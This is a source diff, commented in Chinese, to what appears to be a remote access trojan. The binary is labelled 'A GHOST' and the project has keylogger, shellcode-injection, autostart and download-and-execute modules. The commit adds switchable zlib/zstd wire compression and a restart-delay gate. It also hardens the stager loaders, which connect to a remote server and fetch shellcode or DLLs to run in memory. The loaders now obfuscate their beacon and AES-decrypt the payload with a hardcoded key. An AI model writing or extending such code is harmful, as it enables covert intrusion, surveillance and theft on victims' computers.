// 走 default 路径忽略,无副作用)。
|
||||
@@ -1058,27 +1160,26 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength, P
|
||||
std::lock_guard<std::mutex> lock(m_Locker);
|
||||
{
|
||||
int cmd = BYTE(szBuffer[0]);
|
||||
//乘以1.001是以最坏的也就是数据压缩后占用的内存空间和原先一样 +12
|
||||
//防止缓冲区溢出// HelloWorld 10 22
|
||||
//数据压缩 压缩算法 微软提供
|
||||
//nSize = 436
|
||||
//destLen = 448
|
||||
#if USING_ZLIB
|
||||
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
|
||||
// 线缆压缩:运行期选择 zlib / zstd(默认 zstd)。zlib 用 compressBound 而不是
|
||||
// 1.001n+12 —— 后者对小于约 1KB 的包会比 compressBound 少 1 字节,导致
|
||||
// compress() 返回 Z_BUF_ERROR、小包(心跳 ACK、控制命令)被静默丢弃。
|
||||
// 用 ULONG(32 位)而不是 unsigned long:LP64 下 unsigned long 是 64 位,
|
||||
// 绑不到 CompressData 的 ULONG&,Linux/Android arm64 会直接编译失败。
|
||||
#if CLIENT_HAS_ZLIB
|
||||
ULONG ulCompressedLength = m_useZlib
|
||||
? (ULONG)compressBound(ulOriginalLength)
|
||||
: (ULONG)ZSTD_compressBound(ulOriginalLength);
|
||||
#else
|
||||
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
|
||||
ULONG ulCompressedLength = (ULONG)ZSTD_compressBound(ulOriginalLength);
|
||||
#endif
|
||||
BYTE buf[1024];
|
||||
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf;
|
||||
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
|
||||
if (Z_FAILED(iRet)) {
|
||||
Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength);
|
||||
if (!CompressData(CompressedBuffer, ulCompressedLength, szBuffer, ulOriginalLength)) {
|
||||
Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d, mode=%s\n",
|
||||
ulOriginalLength, ulCompressedLength, m_useZlib ? "zlib" : "zstd");
|
||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||
return FALSE;
|
||||
}
|
||||
#if !USING_ZLIB
|
||||
ulCompressedLength = iRet;
|
||||
#endif
|
||||
ULONG ulPackTotalLength = ulCompressedLength + m_Encoder->GetHeadLen();
|
||||
CBuffer m_WriteBuffer;
|
||||
HeaderFlag H = m_Encoder->GetHead();
|
||||
|
||||
@@ -210,6 +210,15 @@ public:
|
||||
return OnServerSending(szBuffer, ulOriginalLength, mask);
|
||||
}
|
||||
|
||||
// 切换线缆压缩模式。只影响下一次建连(调用方随后 Disconnect,重连循环复用本对象);
|
||||
// COMMAND_SET_COMPRESS 用它原地切换,避免 S_CLIENT_UPDATE 把进程内测试客户端停死。
|
||||
void SetWireCompression(bool useZlib) { m_useZlib = useZlib; }
|
||||
|
||||
// 整机配置里选定的线缆压缩模式(新连接构造时读的同一个键)。分享实例会继承它,
|
||||
// 所以分享前按它判断,而不是按当前连接的 m_useZlib:并行上线时不同连接的模式
|
||||
// 可以和配置不一致。
|
||||
static bool ConfiguredWireZlib();
|
||||
|
||||
void SetServerAddress(const char* szServerIP, unsigned short uPort)
|
||||
{
|
||||
m_Domain = szServerIP ? szServerIP : "127.0.0.1";
|
||||
@@ -437,6 +446,12 @@ protected:
|
||||
// ConnectServer 成功后自动 auth 的 opt-in 标志。子连接构造后调 EnableSubConnAuth() 设为 true。
|
||||
bool m_subConnAuthEnabled = false;
|
||||
uint64_t m_subConnAuthClientID = 0; // 0 表示从 m_conn->clientID 现取
|
||||
|
||||
// 线缆压缩:本连接构造时读 settings\compress(默认 zstd;配置 zlib 时用 zlib);
|
||||
// COMMAND_SET_COMPRESS 通过 SetWireCompression() 原地改写,下一次建连生效。
|
||||
bool m_useZlib = false;
|
||||
bool CompressData(BYTE* dst, ULONG& dstLen, const void* src, ULONG srcLen);
|
||||
bool DecompressData(BYTE* dst, ULONG& dstLen, const void* src, ULONG srcLen);
|
||||
#if USING_CTX
|
||||
ZSTD_CCtx* m_Cctx; // 压缩上下文
|
||||
ZSTD_DCtx* m_Dctx; // 解压上下文
|
||||
|
||||
@@ -17,6 +17,7 @@
|
||||
#include "IOCPUDPClient.h"
|
||||
#include "IOCPKCPClient.h"
|
||||
#include "auto_start.h"
|
||||
#include "start_gate.h"
|
||||
#include "ShellcodeInj.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include "ScreenPreview.h"
|
||||
@@ -952,6 +953,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
Mprintf("======> Local test client: ignore forbidden \n");
|
||||
break;
|
||||
}
|
||||
const bool isAuthKernel = this->IsAuthKernel();
|
||||
if (isAuthKernel) {
|
||||
iniFile cfg(YAMA_PATH);
|
||||
StartGate::Delay(cfg, "auth", StartGate::kDefaultDelaySec);
|
||||
Mprintf("======> next=%d \n", StartGate::Get(cfg, "auth"));
|
||||
} else if (m_cfg) {
|
||||
StartGate::Delay(*m_cfg, "settings", StartGate::kDefaultDelaySec);
|
||||
Mprintf("======> next=%d \n", StartGate::Get(*m_cfg, "settings"));
|
||||
}
|
||||
TerminateProcess(GetCurrentProcess(), 0);
|
||||
break;
|
||||
}
|
||||
@@ -1126,6 +1136,56 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SET_COMPRESS: {
|
||||
// 线缆压缩切换(zstd / zlib):写本机配置后只断开当前连接,复用 IOCPClient
|
||||
// 原地切换 m_useZlib,由 StartClient 重连循环用新模式建链。不能置 S_CLIENT_UPDATE:
|
||||
// 进程内测试客户端的 AutoRun 只在 S_SERVER_EXIT 时重启,详见下方断连处说明。
|
||||
std::string mode;
|
||||
if (ulLength > 1)
|
||||
mode.assign((const char*)szBuffer + 1, ulLength - 1);
|
||||
while (!mode.empty() && (mode.back() == '\0' || mode.back() == ' ' ||
|
||||
mode.back() == '\r' || mode.back() == '\n'))
|
||||
mode.pop_back();
|
||||
for (size_t i = 0; i < mode.size(); ++i) {
|
||||
if (mode[i] >= 'A' && mode[i] <= 'Z')
|
||||
mode[i] = (char)(mode[i] - 'A' + 'a');
|
||||
}
|
||||
if (mode != "zlib" && mode != "zstd") {
|
||||
Mprintf("[compress-switch] unsupported mode '%s', ignored\n", mode.c_str());
|
||||
break;
|
||||
}
|
||||
// 分享实例不能改写整机的线缆压缩配置:它跑的是同一个 OnReceive,放行的话
|
||||
// 分享目标主控就能改掉主机连归属方的模式,主机下次重启会按别家的选择连回来。
|
||||
if (!m_ClientApp || !m_ClientApp->IsMainInstance()) {
|
||||
Mprintf("[compress-switch] refused: not the main instance\n");
|
||||
ClientMsg msg("线缆压缩", "Compression switch refused: only the owning master may switch");
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
}
|
||||
// 存在分享链路时只允许切回 zstd。压缩模式是整机配置(settings\compress),
|
||||
// 分享实例及后续子连接都会继承;对端若只支持 zstd(如 Go 服务端),切到
|
||||
// zlib 会让分享链路在下次建连后失联。zstd 对所有对端都兼容。
|
||||
if (mode == "zlib" && m_cfg && !m_cfg->GetStr("settings", "share_list").empty()) {
|
||||
Mprintf("[compress-switch] refused zlib: share links present\n");
|
||||
ClientMsg msg("线缆压缩", "Compression switch refused: this host has share links; cancel sharing before switching to zlib");
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
}
|
||||
if (m_cfg)
|
||||
m_cfg->SetStr("settings", "compress", mode);
|
||||
Mprintf("[compress-switch] set to %s, reconnecting\n", mode.c_str());
|
||||
// 只断开当前连接,不要置 S_CLIENT_UPDATE:进程内测试客户端(MemoryModule 加载的
|
||||
// ServerDll)的 AutoRun 只在 S_SERVER_EXIT 时重启,S_CLIENT_UPDATE 会让 TestRun
|
||||
// 直接返回、AutoRun 退出,客户端停死且主控的"运行测试程序"菜单永久置灰。
|
||||
// 重连循环复用同一个 IOCPClient,这里先把压缩模式切过去即可;子连接在重连后
|
||||
// 由新的 Manager 按配置重建。先断开再切模式,避免旧连接上还有包用新算法发出。
|
||||
if (m_ClientObject) {
|
||||
m_ClientObject->Disconnect();
|
||||
m_ClientObject->SetWireCompression(mode == "zlib");
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_DOWN_EXEC: {
|
||||
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
|
||||
break;
|
||||
@@ -1427,6 +1487,17 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
}
|
||||
// 主机当前走 zlib 时不接受分享:分享实例构造时会读整机 compress
|
||||
// 配置,带着 zlib 去连分享目标;对端若只支持 zstd(如 Go 服务端),
|
||||
// 这条分享链路一建就连不上。先切回 zstd 再分享。
|
||||
// 按配置判断而非当前连接:并行上线时当前连接的模式可能已不是新实例
|
||||
// 将要使用的模式(配置由收到切换命令的那条连接写入,是整机共享的)。
|
||||
if (IOCPClient::ConfiguredWireZlib()) {
|
||||
Mprintf("Share ignored: client uses zlib wire compression\n");
|
||||
ClientMsg msg("分享主机", "Client uses zlib wire compression, switch it back to zstd before sharing");
|
||||
SendData((LPBYTE)&msg, sizeof(msg));
|
||||
break;
|
||||
}
|
||||
if (targetKey.empty())
|
||||
break;
|
||||
auto share = targetKey;
|
||||
|
||||
@@ -729,11 +729,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
This->WaitForDialogOpen();
|
||||
|
||||
clock_t last = clock();
|
||||
#if USING_ZLIB
|
||||
const int fps = 8;// 帧率
|
||||
#else
|
||||
const int fps = 8;// 帧率
|
||||
#endif
|
||||
const int sleep = 1000 / fps;// 间隔时间(ms)
|
||||
int c1 = 0; // 连续耗时长的次数
|
||||
int c2 = 0; // 连续耗时短的次数
|
||||
|
||||
+2
-2
@@ -103,7 +103,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,4,3
|
||||
FILEVERSION 1,0,4,4
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -121,7 +121,7 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.4.3"
|
||||
VALUE "FileVersion", "1.0.4.4"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
|
||||
+3
-7
@@ -6,16 +6,12 @@
|
||||
#if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_)
|
||||
#define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_
|
||||
|
||||
// 是否使用ZLIB
|
||||
#define USING_ZLIB 0
|
||||
|
||||
#if !USING_ZLIB
|
||||
|
||||
// 客户端线缆压缩:Windows 客户端同时编译 zlib 与 zstd,运行期由 settings\compress
|
||||
// 选择(默认 zstd;配置为 zlib 时使用 zlib)。服务端可通过 COMMAND_SET_COMPRESS
|
||||
// 写入该配置并触发重连,见 client/IOCPClient.cpp 与 KernelManager 的处理分支。
|
||||
#define USING_ZSTD 1
|
||||
#define USING_CTX 1
|
||||
|
||||
#endif
|
||||
|
||||
// 是否使用 Opus 音频压缩 (需要 opus 库)
|
||||
// 设为 1 启用 Opus 压缩,设为 0 使用 PCM 无压缩
|
||||
#define USING_OPUS 1
|
||||
|
||||
Binary file not shown.
@@ -164,6 +164,7 @@
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\common\aes.c" />
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
@@ -173,6 +174,7 @@
|
||||
<ClCompile Include="test.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\aes.h" />
|
||||
<ClInclude Include="auto_start.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="reg_startup.h" />
|
||||
|
||||
@@ -153,8 +153,12 @@
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\common\aes.c" />
|
||||
<ClCompile Include="main.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\aes.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
|
||||
@@ -18,5 +18,13 @@
|
||||
<ClCompile Include="main.c">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\common\aes.c">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\aes.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
+10
-2
@@ -15,6 +15,7 @@
|
||||
#include <fstream> // std::ifstream
|
||||
#include <iterator> // std::istreambuf_iterator
|
||||
#include <string>
|
||||
#include <cstddef> // offsetof(CERT_CHAIN_ENGINE_CONFIG 的 Win7 兼容尺寸)
|
||||
#include <map> // std::map(域名解析缓存)
|
||||
#include <mutex> // std::mutex
|
||||
|
||||
@@ -421,12 +422,19 @@ TlsAnchor BuildTlsAnchor(bool allowEmbedded, bool quiet, HCERTSTORE* outStore,
|
||||
// 严格钉扎:链引擎只信任该 store 里的根证书,排除系统根库。否则攻击者拿一张任意
|
||||
// 公共 CA 签发的证书就能通过 CertGetCertificateChain(默认引擎信任系统根库)。
|
||||
CERT_CHAIN_ENGINE_CONFIG ec = {};
|
||||
ec.cbSize = sizeof(ec);
|
||||
// 兼容 Windows 7:本工程未定义 _WIN32_WINNT,SDK 默认按 Win10 编译,结构体因此
|
||||
// 含只有 Win8+ 才有的 dwExclusiveFlags,sizeof 比 Win7 已知尺寸大 8 字节。Win7
|
||||
// 的 CertCreateCertificateChainEngine 只认识结构体到 hExclusiveTrustedPeople 为止,
|
||||
// 传入更大的 cbSize 会返回 FALSE(ERROR_INVALID_PARAMETER),客户端随即 fail-closed。
|
||||
// 这里显式按 Win7 尺寸传递;Win8+ 接受较旧尺寸,未使用的 dwExclusiveFlags 视为 0。
|
||||
ec.cbSize = (DWORD)offsetof(CERT_CHAIN_ENGINE_CONFIG, hExclusiveTrustedPeople)
|
||||
+ (DWORD)sizeof(HCERTSTORE);
|
||||
ec.hExclusiveRoot = store;
|
||||
HCERTCHAINENGINE engine = NULL;
|
||||
if (!CertCreateCertificateChainEngine(&ec, &engine)) {
|
||||
DWORD le = GetLastError();
|
||||
CertCloseStore(store, 0);
|
||||
err = "CertCreateCertificateChainEngine failed";
|
||||
err = "CertCreateCertificateChainEngine failed (error " + std::to_string(le) + ")";
|
||||
return TLS_ANCHOR_INVALID;
|
||||
}
|
||||
|
||||
|
||||
@@ -55,11 +55,7 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
|
||||
// 等控制端对话框打开
|
||||
This->WaitForDialogOpen();
|
||||
#if USING_ZLIB
|
||||
const int fps = 8;// 帧率
|
||||
#else
|
||||
const int fps = 8;// 帧率
|
||||
#endif
|
||||
const int sleep = 1000 / fps;// 间隔时间(ms)
|
||||
|
||||
timeBeginPeriod(1);
|
||||
|
||||
+43
-2
@@ -9,6 +9,7 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include "../common/hash.h"
|
||||
#include "../common/aes.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define Mprintf printf
|
||||
@@ -20,6 +21,10 @@
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
#ifndef MAX_CONNECT_FAILS
|
||||
#define MAX_CONNECT_FAILS 3
|
||||
#endif
|
||||
|
||||
#pragma pack(push, 4)
|
||||
typedef struct PkgHeader {
|
||||
char flag[8];
|
||||
@@ -65,11 +70,36 @@ PkgHeader MakePkgHeader(int originLen)
|
||||
{
|
||||
PkgHeader header = { 0 };
|
||||
memcpy(header.flag, "Hello?", 6);
|
||||
header.flag[7] = 1;
|
||||
header.originLen = originLen;
|
||||
header.totalLen = sizeof(PkgHeader) + originLen;
|
||||
return header;
|
||||
}
|
||||
|
||||
static void gen_aes_bytes(BYTE* out) {
|
||||
for (int i = 0; i < 16; i++) {
|
||||
out[i] = (BYTE)(rand() & 0xFF);
|
||||
}
|
||||
}
|
||||
|
||||
static uint16_t pseudo_random(int index) {
|
||||
return (uint16_t)((1 ^ (index * 251 + 97)) * 733);
|
||||
}
|
||||
|
||||
static void encrypt(unsigned char* data, int len) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
data[i] ^= (unsigned char)((i * 13) ^ ((i << 1) ^ 1));
|
||||
}
|
||||
for (int round = 0; round < 2; ++round) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
int j = pseudo_random(i + round * 100) % len;
|
||||
unsigned char tmp = data[i];
|
||||
data[i] = data[j];
|
||||
data[j] = tmp;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
|
||||
{
|
||||
struct sockaddr_in sa = { 0 };
|
||||
@@ -272,10 +302,10 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
const int bufSize = (8 * 1024 * 1024);
|
||||
char* buffer = NULL;
|
||||
BOOL isFirstConnect = TRUE;
|
||||
int attemptCount = 0, requestCount = 0;
|
||||
int attemptCount = 0, requestCount = 0, connectFailCount = 0;
|
||||
do {
|
||||
if (!isFirstConnect)
|
||||
Sleep(IsRelease ? rand() % 120 * 1000 : 5000);
|
||||
Sleep((IsRelease && connectFailCount >= MAX_CONNECT_FAILS) ? rand() % 120 * 1000 : 5000);
|
||||
isFirstConnect = FALSE;
|
||||
if (++attemptCount == 20)
|
||||
PostMessage((HWND)g_Server.parentHwnd, 4046, (WPARAM)933711587, (LPARAM)1643138518);
|
||||
@@ -295,15 +325,20 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||||
closesocket(clientSocket);
|
||||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||
if (++connectFailCount >= MAX_CONNECT_FAILS && hash[0])
|
||||
break;
|
||||
continue;
|
||||
}
|
||||
connectFailCount = 0;
|
||||
|
||||
char command[64] = { 210, sizeof(void*) == 8, 0, IsRelease, __DATE__ };
|
||||
gen_aes_bytes((BYTE*)command + 16); // AES IV
|
||||
char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
|
||||
memcpy(command + 32, hash, 32);
|
||||
PkgHeader h = MakePkgHeader(sizeof(command));
|
||||
memcpy(req, &h, sizeof(PkgHeader));
|
||||
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||||
encrypt((BYTE*)req + sizeof(PkgHeader), sizeof(command)); // Hello?
|
||||
int bytesSent = send(clientSocket, req, sizeof(req), 0);
|
||||
if (bytesSent != sizeof(req)) {
|
||||
closesocket(clientSocket);
|
||||
@@ -346,6 +381,12 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
||||
continue;
|
||||
}
|
||||
unsigned char* ptr = buffer + sizeof(PkgHeader);
|
||||
struct AES_ctx ctx; // AES Decode
|
||||
static const unsigned char aes_key[16] = {
|
||||
0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1
|
||||
};
|
||||
AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16);
|
||||
AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen);
|
||||
int size = 0;
|
||||
BYTE cmd = ptr[0], type = ptr[1];
|
||||
memcpy(&size, ptr + 2, sizeof(int));
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
#pragma once
|
||||
|
||||
#include <time.h>
|
||||
#include <string>
|
||||
#include "common/iniFile.h"
|
||||
|
||||
namespace StartGate {
|
||||
|
||||
constexpr const char* kValueName = "retry_after";
|
||||
constexpr int kDefaultDelaySec = 60 * 60;
|
||||
|
||||
inline std::string ConfigPath(bool isAuthKernel)
|
||||
{
|
||||
return isAuthKernel ? std::string(YAMA_PATH) : CLIENT_PATH;
|
||||
}
|
||||
inline const char* ConfigSection(bool isAuthKernel)
|
||||
{
|
||||
return isAuthKernel ? "auth" : "settings";
|
||||
}
|
||||
inline int Get(config& cfg, const char* section)
|
||||
{
|
||||
return cfg.GetInt(section, kValueName, 0);
|
||||
}
|
||||
inline void Set(config& cfg, const char* section, int unixTime)
|
||||
{
|
||||
cfg.SetInt(section, kValueName, unixTime > 0 ? unixTime : 0);
|
||||
}
|
||||
inline void Delay(config& cfg, const char* section, int delaySec)
|
||||
{
|
||||
Set(cfg, section, (int)time(NULL) + delaySec);
|
||||
}
|
||||
inline bool AllowStartNow(config& cfg, const char* section)
|
||||
{
|
||||
const int t = Get(cfg, section);
|
||||
return t <= 0 || (int)time(NULL) >= t;
|
||||
}
|
||||
|
||||
}
|
||||
+43
-1
@@ -19,6 +19,10 @@ extern "C" {
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
#ifndef MAX_CONNECT_FAILS
|
||||
#define MAX_CONNECT_FAILS 3
|
||||
#endif
|
||||
|
||||
// 自动启动注册表中的值
|
||||
#define REG_NAME GetExeHashStr().c_str()
|
||||
|
||||
@@ -74,11 +78,36 @@ typedef struct PkgHeader {
|
||||
{
|
||||
memset(flag, 0, sizeof(flag));
|
||||
memcpy(flag, "Hello?", 6);
|
||||
flag[7] = 1;
|
||||
originLen = size;
|
||||
totalLen = sizeof(PkgHeader) + size;
|
||||
}
|
||||
} PkgHeader;
|
||||
|
||||
static void gen_aes_bytes(BYTE* out) {
|
||||
for (int i = 0; i < 16; i++) {
|
||||
out[i] = (BYTE)(rand() & 0xFF);
|
||||
}
|
||||
}
|
||||
|
||||
static uint16_t pseudo_random(int index) {
|
||||
return (uint16_t)((1 ^ (index * 251 + 97)) * 733);
|
||||
}
|
||||
|
||||
static void encrypt(unsigned char* data, int len) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
data[i] ^= (unsigned char)((i * 13) ^ ((i << 1) ^ 1));
|
||||
}
|
||||
for (int round = 0; round < 2; ++round) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
int j = pseudo_random(i + round * 100) % len;
|
||||
unsigned char tmp = data[i];
|
||||
data[i] = data[j];
|
||||
data[j] = tmp;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
typedef int (*DllCallback)(BYTE* dll, int size);
|
||||
|
||||
// Memory DLL runner.
|
||||
@@ -125,13 +154,14 @@ public:
|
||||
char* buffer = new char[bufSize];
|
||||
bool isFirstConnect = true;
|
||||
int requestCount = 0;
|
||||
int connectFailCount = 0;
|
||||
binFile bin(CLIENT_PATH);
|
||||
iniFile ini(CLIENT_PATH);
|
||||
auto hash = ini.GetStr("settings", "version", "");
|
||||
|
||||
do {
|
||||
if (!isFirstConnect)
|
||||
Sleep(!IsDebug ? rand() % 30 * 1000 : 5000);
|
||||
Sleep((!IsDebug && connectFailCount >= MAX_CONNECT_FAILS) ? rand() % 30 * 1000 : 5000);
|
||||
|
||||
isFirstConnect = false;
|
||||
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
@@ -150,18 +180,23 @@ public:
|
||||
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||||
closesocket(clientSocket);
|
||||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||
if (++connectFailCount >= MAX_CONNECT_FAILS && !hash.empty())
|
||||
break;
|
||||
continue;
|
||||
}
|
||||
connectFailCount = 0;
|
||||
#ifdef _DEBUG
|
||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 0 };
|
||||
#else
|
||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 };
|
||||
#endif
|
||||
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
|
||||
gen_aes_bytes((BYTE*)command + 16); // AES IV
|
||||
memcpy(command + 32, hash.c_str(), min(32, hash.length()));
|
||||
char req[sizeof(PkgHeader) + sizeof(command)] = {};
|
||||
memcpy(req, &PkgHeader(sizeof(command)), sizeof(PkgHeader));
|
||||
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||||
encrypt((BYTE*)req + sizeof(PkgHeader), sizeof(command)); // Hello?
|
||||
auto bytesSent = send(clientSocket, req, sizeof(req), 0);
|
||||
if (bytesSent != sizeof(req)) {
|
||||
closesocket(clientSocket);
|
||||
@@ -198,6 +233,12 @@ public:
|
||||
continue;
|
||||
}
|
||||
char* ptr = buffer + sizeof(PkgHeader);
|
||||
struct AES_ctx ctx; // AES Decode
|
||||
static const unsigned char aes_key[16] = {
|
||||
0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1
|
||||
};
|
||||
AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16);
|
||||
AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen);
|
||||
BYTE cmd = ptr[0], type = ptr[1];
|
||||
size = 0;
|
||||
memcpy(&size, ptr + 2, sizeof(int));
|
||||
@@ -307,6 +348,7 @@ int InjectShellcode(BYTE* buf, int len) {
|
||||
// 如果配置文件不存在就从命令行中获取IP和端口.
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
srand((unsigned int)time(NULL));
|
||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
|
||||
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
|
||||
if (!runCmd) {
|
||||
|
||||
@@ -152,6 +152,7 @@ inline int isValid_10s()
|
||||
#define CLIENT_CAP_TERMINAL 0x8000 // 主连接处理 COMMAND_SHELL(PTY 终端子连接:exec_command / terminal_*;Linux 一直支持但不声明,新版 Android 与 macOS 声明)
|
||||
#define CLIENT_CAP_PRIVACY_OVERLAY 0x10000 // 屏幕子连接处理 COMMAND_SCREEN_BLOCK_INPUT / COMMAND_SCREEN_BLANK(Android 用无障碍全屏 overlay 实现;Windows 一直支持锁定键鼠但不声明这个位)
|
||||
#define CLIENT_CAP_PROCESS 0x20000 // 主连接处理 COMMAND_SYSTEM(系统子连接:COMMAND_PSLIST / COMMAND_KILLPROCESS;Linux/macOS 声明,Windows 一直支持但不声明)
|
||||
#define CLIENT_CAP_COMPRESS_SWITCH 0x40000 // 支持服务端远程切换线缆压缩(COMMAND_SET_COMPRESS,仅 Windows)
|
||||
|
||||
// TOKEN_WEBCAM_DIB 帧头里的 fccHandler(第 3~6 字节):Android 客户端直接发 JPEG,
|
||||
// 服务端识别这个 FOURCC 后用 turbojpeg 解码,不依赖系统安装 VFW 编解码器。
|
||||
@@ -385,6 +386,13 @@ enum {
|
||||
COMMAND_MCP_WINDOW_INFO = 179,
|
||||
TOKEN_MCP_WINDOW_INFO = 180,
|
||||
|
||||
// 线缆压缩切换(服务端 → 客户端):载荷 [cmd:1]["zlib"|"zstd"]。
|
||||
// 客户端写入自己配置的 settings\compress 后断开当前连接,原地切换本连接的压缩模式,
|
||||
// 由 StartClient 重连循环用新模式建链;服务端按首包自动识别算法,无需额外握手。
|
||||
// 不置 S_CLIENT_UPDATE,以免进程内测试客户端退出。只有声明 CLIENT_CAP_COMPRESS_SWITCH
|
||||
// 的 Windows 客户端认识;老客户端走 default 静默丢弃。
|
||||
COMMAND_SET_COMPRESS = 181,
|
||||
|
||||
TOKEN_DECRYPT = 199,
|
||||
TOKEN_REGEDIT = 200, // 注册表
|
||||
COMMAND_REG_FIND, // 注册表 管理标识
|
||||
@@ -1335,6 +1343,8 @@ typedef struct LOGIN_INFOR {
|
||||
caps |= CLIENT_CAP_C2C_PATHS;
|
||||
// 协议切换(COMMAND_SET_PROTO)只有 Windows 客户端实现了命令处理与入口持久化。
|
||||
caps |= CLIENT_CAP_PROTO_SWITCH;
|
||||
// 线缆压缩切换(COMMAND_SET_COMPRESS):Windows 客户端同时携带 zlib/zstd。
|
||||
caps |= CLIENT_CAP_COMPRESS_SWITCH;
|
||||
// 多显示器远程控制:抓整个虚拟桌面,截图与注入共用同一坐标系。
|
||||
caps |= CLIENT_CAP_VIRTUAL_DESKTOP;
|
||||
// 窗口信息 RPC(矩形/z 序/前后台)与窗口激活。
|
||||
|
||||
+10
-1
@@ -499,6 +499,10 @@ typedef uLong FAR uLongf;
|
